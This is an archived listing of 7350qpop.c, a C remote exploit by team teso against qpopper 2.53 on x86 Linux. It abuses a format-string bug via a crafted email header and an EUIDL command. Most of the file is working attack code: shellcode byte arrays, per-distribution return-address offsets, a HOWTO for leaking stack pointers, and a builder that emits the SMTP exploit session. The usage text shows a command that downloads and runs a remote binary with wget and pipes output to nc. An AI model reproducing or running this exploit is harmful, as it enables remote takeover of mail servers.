home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / teso / 7350qpop.c < prev    next >
C/C++ Source or Header  |  2002-05-07  |  13KB  |  401 lines
  1. <html>/* qpopper 2.53 euidl x86/linux remote exploit
  2.  *
  3.  * public version released 2000/07/15
  4.  *
  5.  * 2000/05/30
  6.  * -scut/teso.
  7.  *
  8.  * discovered and first exploited by portal,
  9.  * further information by prizm and csh.
  10.  *
  11.  * greets to team teso, security.is, thc, adm, w00w00, hert
  12.  * special thanks to portal and csh for pointing some things out
  13.  *
  14.  * supply me with offsets (see below)
  15.  */
  16.  
  17. #include <stdio.h>
  18. #include <stdlib.h>
  19. #include <unistd.h>
  20. #include <ctype.h>
  21. #include <string.h>
  22.  
  23.  
  24. #define SC_LEN          109     /* first shellcode length */
  25. #define D_PAD           1897    /* %-...d padding to expand the buffer */
  26. #define BODY_NOP_COUNT  8000
  27. #define BODY_LENGTH     8192
  28.  
  29.  
  30. /* 44 byte "read (3, <behind-me>, 8192)" x86/linux pic shellcode
  31.  * without 0x0a, 0x41-0x5b, 0x80-0x9f -sc.
  32.  * first smack
  33.  *
  34.  * it basically reads 8192 bytes behind itself and then jumps
  35.  * 120 bytes ahead into hopefully nop-space :-)
  36.  */
  37. unsigned char   shellcode[] =
  38.         "\xeb\x22\x5f\x31\xc0\xf9\x11\xc7\xf9\xc0\xd8\x01"
  39.         "\x31\xc9\x01\xf9\xaa\x31\xdb\xb3\x03\x31\xc0\xb0"
  40.         "\x03\x01\xc1\x31\xd2\xf9\x66\xc1\xda\x03\xeb\x05"
  41.         "\xe8\xd9\xff\xff\xff\xcd\x5f\xeb\x78";
  42.  
  43.  
  44. /* 38 byte x86/linux PIC arbitrary execute shellcode - scut / teso
  45.  * second smack, read from message body
  46.  */
  47. unsigned char   ex_shellcode[] =
  48.         "\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07"
  49.         "\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b"
  50.         "\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff"
  51.         "\xff\xff";
  52.  
  53.  
  54. static int      sc_build (unsigned char *target, size_t target_len,
  55.         unsigned char *shellcode, char **argv);
  56.  
  57. void    hexdump (unsigned char *cbegin, unsigned char *cend);
  58. void    sc_verify (unsigned char *sc, size_t length);
  59.  
  60.  
  61. typedef struct {
  62.         char *                  name;
  63.         unsigned long int       ret_addr;
  64.         unsigned long int       pop_pointer;
  65. } target_t;
  66.  
  67.  
  68. /* HOWTO get the offsets
  69.  *
  70.  * to aquire the offsets for an unknown version of QPOP 2.53 you have to have
  71.  * a POP-able account on the target system.
  72.  *
  73.  * do as follows:
  74.  *
  75.  * telnet smtp-server-for-target.target.com 25
  76.  *
  77.  * 220 smtp-server-for-target.target.com ready.
  78.  * MAIL FROM: <>
  79.  * 250 <<>> ... Sender Okay
  80.  * RCPT TO: <targetuser@target.com>
  81.  * 250 <targetuser@target.com> ... Recipient Okay
  82.  * DATA
  83.  * 354 Enter mail, end with "." on a line by itself
  84.  * Subject: footest
  85.  * From: %08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
  86.  * .
  87.  * 250 Mail accepted
  88.  * QUIT
  89.  * 221 smtp-server-for-target.target.com closing connection
  90.  *
  91.  * now login via POP3:
  92.  *
  93.  * telnet pop.target.com 110
  94.  *
  95.  * +OK QPOP (version 2.53) at pop.target.com starting.
  96.  * USER targetuser
  97.  * +OK Password required for targetuser.
  98.  * PASS passbla
  99.  * +OK targetuser has 1 messages (1141 octets).
  100.  * EUIDL 1
  101.  * +OK 2 54a955db49a7de403d100a67618fee20 455 bfffd3c0.080505f1.bfffd3c0.000001c7.08052306.bfffdbd8.08054b6c.080518d4.
  102.  *
  103.  *                                                                                         ^^^^^^^^
  104.  * this is the POP pointer.
  105.  * the return address is POP pointer minus 0x08b0
  106.  *
  107.  * pop_pointer = 0xbfffdbd8 - 0x08b0 = 0xbfffd328
  108.  *
  109.  * The pop pointer has to be exact, if it hits one of the forbidden characters
  110.  * (0x0a, 0x41-0x5b, 0x80-0x9f) you're out of luck. The return address can be
  111.  * modified in a window of about 50 bytes, this is enough.
  112.  *
  113.  * please mail the following data to scut@nb.in-berlin.de in case you get
  114.  * it working on some default distribution:
  115.  *
  116.  * - exact distribution version
  117.  * - ls -l /usr/sbin/popper output (or wherever your popper binary lies)
  118.  * - file /usr/sbin/popper output
  119.  * - first seven stack variables (as in output below)
  120.  * - the following output: (echo VERSION;sleep 2)|telnet localhost 113
  121.  *   (in case you have a default identd installed)
  122.  *
  123.  * thank you very much, mail the whole stuff to scut@nb.in-berlin.de, i'll send
  124.  * you a copy with all known offsets back.
  125.  */
  126.  
  127. target_t        targets[] = {
  128.  
  129.         /* -rwxrwxr-x   1 scut     scut        39356 May 30 00:06 /tmp/popper */
  130.         /* 0x08054970.0xbfffdbd8.0x08051a1c.0x080496d0.0x00000005.0xbfffdbd8.0xbfffd7d8 */
  131.         { "Debian 2.1 source compilation",      0xbfffd328,     0xbfffdbd8 },
  132.  
  133.         /* -rwxr-xr-x   1 root     root        38276 Jul 18  1998  /usr/sbin/in.qpopper */
  134.         /* /usr/sbin/in.qpopper: ELF 32-bit LSB executable, Intel 80386, version 1,
  135.          *                       dynamically linked (uses shared libs), stripped */
  136.         /* 0xbfffd410.0x0805042e.0xbfffd410.0x0000020a.0x080521e2.0xbfffdc28.0x080541c8 */
  137.         { "RedHat 6.1 RPM: qpopper-2.53-1-PAM", 0xbfffd378,     0xbfffdc28 },
  138.  
  139.         /* -rwxr-xr-x   1 root     root        37776 Jun     1 13:17 /usr/sbin/popper */
  140.         /* 0xbfffd3b0.0x0804fc91.0xbfffd3b0.0x0000017d.0x08051986.0xbfffdbc8.0x080542c8 */
  141.         { "Slackware 7 default binary",         0xbfffd318,     0xbfffdbc8 },
  142.  
  143.         /* 0xbfffefbc.0x0804f7be.0xbfffefbc.0x000001ca.0xbfffeba2.0xbffff7d4.0x0805245c */
  144.         { "SuSE 5.2 default binary",            0xbfffe2f2,     0xbfffeba2 },
  145.  
  146.         /* -rwxr-xr-x   1 root     root        39700 Dec 11  1998 /usr/sbin/popper */
  147.         /* /usr/sbin/popper: ELF 32-bit LSB executable, Intel 80386, version 1,
  148.          *                   dynamically linked (uses shared libs), stripped */
  149.         /* 0xbfffd3c0.0x080505f1.0xbfffd3c0.0x000001ad.0x08052306.0xbfffdbd8.0x08054b6c */
  150.         { "SuSE 6.0 default binary",            0xbfffd328,     0xbfffdbd8 },
  151.  
  152.         { NULL, 0, 0 },
  153. };
  154.  
  155. static int
  156. sc_build (unsigned char *target, size_t target_len, unsigned char *shellcode,
  157.         char **argv)
  158. {
  159.         int     i;
  160.         size_t  tl_orig = target_len;
  161.  
  162.  
  163.         if (strlen (shellcode) >= (target_len - 1))
  164.                 return (-1);
  165.  
  166.         memcpy (target, shellcode, strlen (shellcode));
  167.         target += strlen (shellcode);
  168.         target_len -= strlen (shellcode);
  169.  
  170.         for (i = 0 ; argv[i] != NULL ; ++i)
  171.                 ;
  172.  
  173.         /* set argument count
  174.          */
  175.         target[0] = (unsigned char) i;
  176.         target++;
  177.         target_len--;
  178.  
  179.         for ( ; i > 0 ; ) {
  180.                 i -= 1;
  181.  
  182.                 if (strlen (argv[i]) >= target_len)
  183.                         return (-1);
  184.  
  185.                 printf ("[%3d/%3d] adding (%2d): %s\n",
  186.                         (tl_orig - target_len), tl_orig,
  187.                         strlen (argv[i]), argv[i]);
  188.  
  189.                 memcpy (target, argv[i], strlen (argv[i]));
  190.                 target += strlen (argv[i]);
  191.                 target_len -= strlen (argv[i]);
  192.  
  193.                 target[0] = (unsigned char) (i + 1);
  194.                 target++;
  195.                 target_len -= 1;
  196.         }
  197.  
  198.         return (tl_orig - target_len);
  199. }
  200.  
  201.  
  202. void
  203. hexdump (unsigned char *cbegin, unsigned char *cend)
  204. {
  205.         int             i;
  206.         unsigned char * buf = cbegin;
  207.  
  208.  
  209.         printf ("/* %d byte shellcode */\n", cend - cbegin);
  210.         printf ("\"");
  211.  
  212.         for (i = 0 ; buf < cend; ++buf) {
  213.  
  214.                 printf ("\\x%02x", *buf & 0xff);
  215.  
  216.                 if (++i >= 12) {
  217.                         i = 0;
  218.                         printf ("\"\n\"");
  219.                 }
  220.         }
  221.         printf ("\";\n\n");
  222. }
  223.  
  224.  
  225. void
  226. sc_verify (unsigned char *sc, size_t length)
  227. {
  228.         int     n,
  229.                 bc = 0;
  230.  
  231.         for (n = length - 1 ; n >= 0 ; --n) {
  232.                 if (isupper (sc[n])) {
  233.                         printf ("upper char '%c' (%02x) at sc[%d]\n",
  234.                                 sc[n], sc[n], n);
  235.                         bc += 1;
  236.                 } else if (sc[n] == '\x0a') {
  237.                         printf ("carriage return \\x0a at sc[%d]\n", n);
  238.                         bc += 1;
  239.                 } else if (sc[n] >= (unsigned char) '\x80' && sc[n] <= (unsigned char) '\x9f') {
  240.                         printf ("sendmail filtered character '\\x%02x' at sc[%d], won't survive sendmail\n",
  241.                                 sc[n], n);
  242.                 } else if (n != 0 && n != 2 && sc[n] == '%') {
  243.                         printf ("%% character may cause trouble at sc[%d]\n", n);
  244.                 }
  245.         }
  246.  
  247.         if (bc > 0) {
  248.                 printf ("%d invalid %s, aborting...\n",
  249.                         bc, (bc == 1) ? "character" : "characters");
  250.                 exit (EXIT_FAILURE);
  251.         }
  252. }
  253.  
  254.  
  255. int
  256. main (int argc, char *argv[])
  257. {
  258.         int                     n,
  259.                                 i;
  260.         unsigned int            target_num;
  261.         target_t *              target;
  262.         unsigned char           mbuf[64];
  263.         unsigned char           tbuf[129];
  264.         unsigned char           xpbuf[129];
  265.         unsigned char           body[BODY_LENGTH];
  266.         unsigned char *         xbp = xpbuf;
  267.         unsigned long int       retaddr;
  268.         unsigned long int       poppointer;
  269.  
  270.  
  271.         printf ("7350qpop - qpopper 2.53 x86/linux remote\n");
  272.         printf ("-scut / teso.\n\n");
  273.  
  274.         if (argc < 5) {
  275.                 printf ("usage: %s <target> <source-email> <target-email> commands ...\n\n",
  276.                         argv[0]);
  277.  
  278.                 printf ("target        target system type\n");
  279.                 printf ("source-email  sender email address (has to get accepted)\n");
  280.                 printf ("target-email  email user that will POP-get the email\n");
  281.                 printf ("commands      commands to run on the remote host,\n");
  282.                 printf ("              example: /bin/sh -c \"wget 1.1.1.1/a;chmod +x a;./a\"\n\n");
  283.  
  284.                 printf ("example:\n\n"
  285.                         "%s 1 foo@foobar.com user@example.com \\\n"
  286.                         "      /bin/sh -c \"echo owned>/etc/issue\" 2>&1 >/dev/null | nc example.com 25\n\n",
  287.                         argv[0]);
  288.  
  289.                 printf ("the standard output is for the user, the error output contains the smtp-\n"
  290.                         "output to send to the mail server.\n\n");
  291.  
  292.                 printf ("targets:\n");
  293.                 for (n = 0 ; targets[n].name != NULL ; ++n) {
  294.                         printf ("%8d : %40s : 0x%08x : 0x%08x\n",
  295.                                 n, targets[n].name, (unsigned int) targets[n].ret_addr,
  296.                                 (unsigned int) targets[n].pop_pointer);
  297.                 }
  298.                 printf ("\nsee the source file to see the method to get the offsets.\n\n");
  299.  
  300.                 exit (EXIT_FAILURE);
  301.         }
  302.  
  303.         if (sscanf (argv[1], "%u", &target_num) != 1) {
  304.                 printf ("target specification invalid\n");
  305.                 exit (EXIT_FAILURE);
  306.         }
  307.         for (n = 0 ; targets[n].name != NULL && n < target_num ; ++n)
  308.                 ;
  309.         if (targets[n].name == NULL) {
  310.                 printf ("target number out of range\n");
  311.                 exit (EXIT_FAILURE);
  312.         }
  313.         target = &targets[n];
  314.         retaddr = target->ret_addr;
  315.         poppointer = target->pop_pointer;
  316.  
  317.  
  318.         /* construct first read() shellcode
  319.          */
  320.         memset (tbuf, '\x00', sizeof (tbuf));
  321.         printf ("constructing first shellcode...\n\n");
  322.         memcpy (tbuf, shellcode, strlen (shellcode));
  323.         n = strlen (shellcode);
  324.         printf ("shellcode size: %d bytes\n\n", n);
  325.  
  326.         hexdump (tbuf, tbuf + n);
  327.  
  328.         memset (mbuf, '\x00', sizeof (mbuf));
  329.         sprintf (mbuf, "%%-%dd", D_PAD);
  330.         sprintf (xbp, "<>%s", mbuf);
  331.         xbp += strlen (xbp);
  332.  
  333.         for (n = 0 ; n < SC_LEN ; ++n) {
  334.                 xbp[0] = '\x5f';        /* nops0r replac0r (das) */
  335.                 xbp++;
  336.         }
  337.         xbp -= strlen (tbuf);
  338.  
  339.         strcpy (xbp, tbuf);
  340.         xbp += strlen (xbp);
  341.  
  342.         printf ("using\n");
  343.         printf ("   retaddr   : 0x%08x\n", (unsigned int) retaddr);
  344.         printf ("   (POP *) p : 0x%08x\n\n", (unsigned int) poppointer);
  345.  
  346.         /* _[ra]_[p]
  347.          */
  348.         xbp[0] = (retaddr      ) & 0xff;
  349.         xbp[1] = (retaddr >>  8) & 0xff;
  350.         xbp[2] = (retaddr >> 16) & 0xff;
  351.         xbp[3] = (retaddr >> 24) & 0xff;
  352.         xbp += 4;
  353.  
  354.         /* [ra]_[p]_
  355.          */
  356.         xbp[0] = (poppointer      ) & 0xff;
  357.         xbp[1] = (poppointer >>  8) & 0xff;
  358.         xbp[2] = (poppointer >> 16) & 0xff;
  359.         xbp[3] = (poppointer >> 24) & 0xff;
  360.         xbp += 4;
  361.  
  362.         xbp[0] = '\x00';
  363.  
  364.         printf ("strlen (xpbuf) = %d\n", strlen (xpbuf));
  365.         hexdump (xpbuf, xpbuf + strlen (xpbuf));
  366.  
  367.         sc_verify (xpbuf, strlen (xpbuf));
  368.         printf ("shellcode passed verification, ready for delivery.\n");
  369.  
  370.         fprintf (stderr, "EHLO foobar.com\n");
  371.         fprintf (stderr, "MAIL FROM: <%s>\n", argv[2]);
  372.         fprintf (stderr, "RCPT TO: <%s>\n", argv[3]);
  373.         fprintf (stderr, "DATA\n");
  374.         fprintf (stderr, "Subject: Hello\n");
  375.         fprintf (stderr, "From: %s\n\n", xpbuf);
  376.  
  377.         /* insert real shellcode
  378.          */
  379.         for (n = 0 ; n < BODY_NOP_COUNT ; ++n)
  380.                 body[n] = '\x90';
  381.  
  382.         /* extra reliability armor (tm) to avoid line breakage
  383.          */
  384.         for (i = 0 ; i < (n - 132) ; i += 128) {
  385.                 body[i] = '\xeb';
  386.                 body[i+1] = '\x08';
  387.                 body[i+2] = '\x0a';
  388.         }
  389.  
  390.         sc_build (&body[n], BODY_LENGTH - BODY_NOP_COUNT - 1, ex_shellcode,
  391.                 &argv[4]);
  392.         body[BODY_LENGTH - 1] = '\x00';
  393.         fprintf (stderr, "%s\n", body);
  394.         fprintf (stderr, "\n.\nQUIT\n");
  395.  
  396.         exit (EXIT_SUCCESS);
  397. }
  398.  
  399.  
  400.  
  401.